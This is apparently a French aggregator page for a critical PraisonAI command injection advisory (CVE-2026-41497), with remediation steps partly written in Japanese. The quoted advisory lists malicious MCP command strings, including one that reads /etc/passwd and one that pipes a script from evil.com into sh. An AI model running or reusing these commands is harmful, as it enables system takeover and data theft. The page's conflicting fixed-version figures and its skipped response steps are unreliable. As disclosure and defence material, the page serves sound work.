Injection de commande dans praison (CVE-2026-41497, CVSS 9.8)

Résumé

injection de commande dans praison (CVE-2026-41497). L'exploitation peut entraîner la prise de contrôle totale du système. Exploitable via bash. Atténuation : mise à jour vers >= 4.6.9 ou plus.

Description d'origine

La description telle que publiée par la source (souvent en anglais).

Summary

The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution.

Affected Package

Ecosystem: PyPI
Package: MervinPraison/PraisonAI
Affected versions: < 47bff65413be
Patched versions: >= 47bff65413be

Details

The vulnerability exists in src/praisonai/praisonai/cli/features/mcp.py in the MCPHandler.parse_mcp_command() method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.

The fix commit 47bff654 was intended to address command injection, but the patched parse_mcp_command() still lacks three critical controls: there is no ALLOWED_COMMANDS allowlist of permitted executables (e.g., npx, uvx, node, python), there is no os.path.basename() validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.

Malicious MCP server commands such as python -c 'import os; os.system("id")', bash -c 'cat /etc/passwd', and /bin/sh -c 'wget http://evil.com/shell.sh | sh' are all accepted by parse_mcp_command() and passed directly to subprocess execution without filtering.

PoC

#!/usr/bin…

Source: NIST National Vulnerability Database NVD GitHub Advisory

Résumé IA

Rédigé par une IA externe ; il peut contenir des erreurs. Vérifiez la description d'origine et les références ci-dessous avant d'agir.

Une vulnérabilité référencée CVE-2026-41497 a été découverte dans praison.
Des attaquants peuvent cibler un point d'entrée spécifique comme bash à distance pour détourner le produit.
L'exploitation peut entraîner la prise de contrôle totale du système. Score CVSS : 9.8/10.
Action : mettez à jour praison vers >= 4.6.9 ou supérieur.
En cas de doute, contactez votre service informatique ou cherchez « praison CVE-2026-41497 » sur le site de l'éditeur.

CVE-2026-41497 (praison) — CWE-77 / CVSS v3 9.8
Vecteur d'attaque : distant (réseau) / non authentifié / sans interaction utilisateur
Surface d'attaque : bash / python / ALLOWED_COMMANDS / npx
Versions affectées : <= 4.6.8
Correctif : >= 4.6.9 — appliquer immédiatement
Plan : 1) Audit SBOM, 2) Mise à jour staging→prod, 3) Surveillance WAF/proxy sur les endpoints affectés, 4) Recherche d'IOC dans les logs.
Réfs : voir GHSA / avis éditeur / version corrigée liés sur cette page.

❓ Quel est le problème

Une vulnérabilité (CWE-77) affecte praison. Les attaquants atteignent le code vulnérable via bash sans authentification.

📍 Périmètre concerné

praison — Plage affectée : <= 4.6.8. Surface d'attaque : bash / python / ALLOWED_COMMANDS / npx.

🔥 Gravité

Gravité : Critique (CVSS 9.8/10). L'exploitation peut entraîner la prise de contrôle totale du système

🔧 Comment corriger

Mettre à jour vers >= 4.6.9. (Si une version vulnérable <= 4.6.8 est en production, planifiez immédiatement une fenêtre de maintenance.)

🛡️ Contournement

En attendant le correctif : désactivez la fonctionnalité concernée, appliquez des règles WAF, ou restreignez l'accès par ACL réseau.

🔍 Détection

Recherchez dans les logs des requêtes correspondant aux IOC connus de cette CVE. Auditez les SBOM/dépendances.

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Si cela arrivait dans votre entreprise Impact attendu selon le scénario métier

📌 For SaaS platforms relying on PraisonAI for coordination tasks across distributed teams.

Unauthorized command execution could result in data breaches and system compromise.

📌 In internal IT infrastructures using PraisonAI for automated workflows.

Compromised systems may lead to unauthorized access and persistent threats.

📌 For enterprises using AI models via PraisonAI for operational tasks.

Service disruptions and data integrity issues due to unauthorized system commands.

Action recommandée

Companies should immediately upgrade PraisonAI to version 4.6.9, ensure command parsing is secure, and monitor system logs for signs of exploitation.

Actions de réponse

Étapes concrètes et exemples de commandes que les équipes SOC/SRE doivent exécuter dans l'ordre

1
Identify exposure identify
```
grep -r 'praison' . | grep -v node_modules
```
リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で praison を grep し、稼働しているサービス・バージョンを把握する。
2
Match against affected range verify
```
Confirm if version satisfies `<= 4.6.8`
```
Step 1 で見つかったバージョンが影響範囲 <= 4.6.8 に該当するか照合。本番で稼働中ならインシデント扱い。
6
Apply patch patch
```
Upgrade praison to >= 4.6.9
```
ステージング環境で >= 4.6.9 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスと、Step 3 で見つけた異常検知の続報チェックを含めること。
7
Post-deployment verification verify
```
Confirm patched version is live in production
```
パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 3 と同じログクエリでアラート再発が無いか継続監視。

Paquets affectés

pip praisonai

[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.149"}]}]

PyPI praisonai

[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.149"}]}]

Références

advisory nvd.nist.gov
advisory nvd.nist.gov
package github.com
web github.com
web github.com
web github.com